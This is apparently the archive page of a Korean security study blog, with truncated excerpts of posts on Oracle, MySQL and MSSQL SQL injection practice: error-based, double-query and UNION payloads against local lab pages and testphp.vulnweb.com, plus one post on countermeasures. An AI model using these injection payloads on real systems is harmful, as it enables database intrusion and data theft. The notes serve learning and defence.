목록2020/04 (35)
Self-Improvement
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. Oracle에서는 칼럼 객체명에 화이트 스페이스 포함 30자로 길이제한이 존재한다. XML 내장함수 DBMS_XMLGEN.GETXML() > select substr((select banner from v$version where rownum=1), 1,30) from dual = select "Oracle Database 11g Express ED" from dual 에러를 발생시켜 버전을 출력하는 쿼리 > select to_char(dbms_xmlgen.getxml('select "' || substr(select banner from v$version where rownum=1),1,30) || '"..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. UTL_INADDR.GET_HOST_NAME UTL_HTTP.REQUEST Oracle 11g 이상에선 ACL 정책 강화로 DBA 외에는 실행이 차단되어 Network 내장함수는 관리자 계정만 사용이 가능하다. system/system [기본 형식] > select UTL_INADDR.GET_HOST_NAME('127.0.0.1') from dual 문자열 쿼리를 주입하면 오류가 발생하지만 쿼리가 동작되어 출력이 이루어진다. [버전 정보 출력] > select UTL_INADDR.GET_HOST_NAME((select banner from v$version where rownum=1)) from dual ..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. [테이블 추출] > select table_name from (select rownum as rownum1, table_name from tabs)t where t.rownum1=1 [칼럼 추출] > select column_name from(select rownum as rownum1, column_name from cols where table_name='EMPLOYEES')t where t.rownum1=2 [데이터 추출] > select Employee_ID, First_Name, Hire_Date from (select rownum as rownum1, Employee_ID, First_Name,..
소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Colored by Color Scripter cs - http://192.168.1.46/empinfo_id.php?empid=1 싱글쿼터 주입 시 에러 발생 - http://192.168.1.46/empinfo_id.php?empid=1%27 Double Query 방식 Double Query 방식으로 오류를 발생시켜 진행되는지 확인해 본다. Payload : 1 and 1=(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_s..
1. CONCAT(), CONCAT_WS() 함수 둘 다 데이터 값을 합칠때 사용할 수 있다. > select concat(table_name, " : ", table_type)as hello from information_schema.tables; hex값으로 넣어도 상관 없다. > select concat(table_name, 0x2c, table_type)as hello from information_schema.tables; > select concat_ws(' , ',table_name, table_type)as hello from information_schema.tables; hex값으로 넣어도 상관 없다. > select concat_ws(0x2c,table_name, table_type)..
소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Colored by Color Scripter cs - http://192.168.1.46/mssql_id.php?empid=1 싱글쿼터를 주입하여 에러가 발생하는지 확인 - http://192.168.1.46/mssql_id.php?empid=1%27 해당 부분에서는 단 하나의 정보만 출력이 이루어 지기 때문에 UNION SQLi가 되지 않는다. UNION SQLi 시도한 결과 하나의 정보만(단일 행) 출력이 이루어짐으로 용도에 맞지 않음 1 and 1=2 union all select 1,2,nam..
UNION SQLi는 포스터형식으로 몇개의 정보들을 출력해주는 곳에서 가능하다. ex) 포스터, 검색 등 단 하나의 정보만 보여주는 곳에서는 불가능 1. testphp.vulnweb.com Categories의 Posters에서 Union SQLi가 가능하다. 싱글쿼터를 주입할 시 sysntax 에러가 발생한다. order by 문을 이용하여 칼럼의 갯수를 구하며 11까지는 오류가 없었으며 12에서 오류가 발생한다 'cat=1 order by 11' 에러에서 MySQL임을 확인하였기에 null 대신 숫자를 대입하여 노출되는 칼럼의 위치를 확인한다. 이때는 Union Select 문을 사용한다. cat=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11 2..
취약점 제거는 웹 서비스 제공 환경을 고려하면 다음과 같이 당야한 단계에서 대응이 가능하다 미들웨어 실습환경의 미들웨어는 PHP이다. PHP 에서 제공하는 보안 기능을 이용하면 SQLi 대응에 부분적으로 효과가 있다 Apache 서버의 Custom, Error, Response 활성화 PHP의 Magic_quotes_gpc 설정 활성화 코드레벨 소스코드를 수정하여 대응하는 시큐어코딩 방법으로 취약점의 원인이 되는 보안약점의 근본적인 조치 및 제거가 가능하다 화이트 리스트 키워드 필터링, 데이터 유형 검사, 프리페어드 스테이트먼트 적용 DBMS 데이터베이스에서 제공하는 기능을 이용하여 취약점을 대응하는 방법이다. 주로 저장 프로시저를 이용하며 검증된 안전한 함수를 생성하여 DB질의에 사용한다 저장 프로시저..
Oracle 데이터베이스는 데이터 형식에 가장 민감한 데이터베이스이다. 데이터를 뽑아낼때도 해당 칼럼이 문자형인지 정수형인지 알아낸후 그에 맞게 출력해야함 Mysql, MSsql은 유연적 소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 opensecurelab Participants in Employee ID FirstName JOB_ID HireDate Colored by Color Scripter cs - http://192.168.1.46:8080/empinfo_date.jsp?date=2003-06-17 - h..
DB의 스키마 객체 DB의 데이터를 조회하기 위해서는 Select 명령과 테이블과 칼럼 정보가 필요하다. 실제로는 어떠한 테이블, 칼럼이 있는지 알 수 없기에 데이터베이스 제품별로 스키마 객체로 조회가 가능한 형태로 제공하고 있다. 데이터베이스 스키마 데이터베이스에서 자료의 구조, 자료의 표현 방법, 자료 간의 관계를 형식 언어로 정의한 구조이다. 데이터베이스 관리 시스템이 주어진 설정에 따라 데이터베이스 스키마를 생성하며, 데이터베이스 사용자가 자료를 저장, 조회, 삭제, 변경할 때 DBMS는 자신이 생성한 데이터베이스 스키마를 참조하여 명령을 수행한다. 데이터베이스 객체 데이터베이스에서 객체는 테이블, 인덱스, 프로시져, 트리거, 뷰, 시퀀스 등 데이터베이스 내부에서 생성되어 관리되는 모든 대상을 의..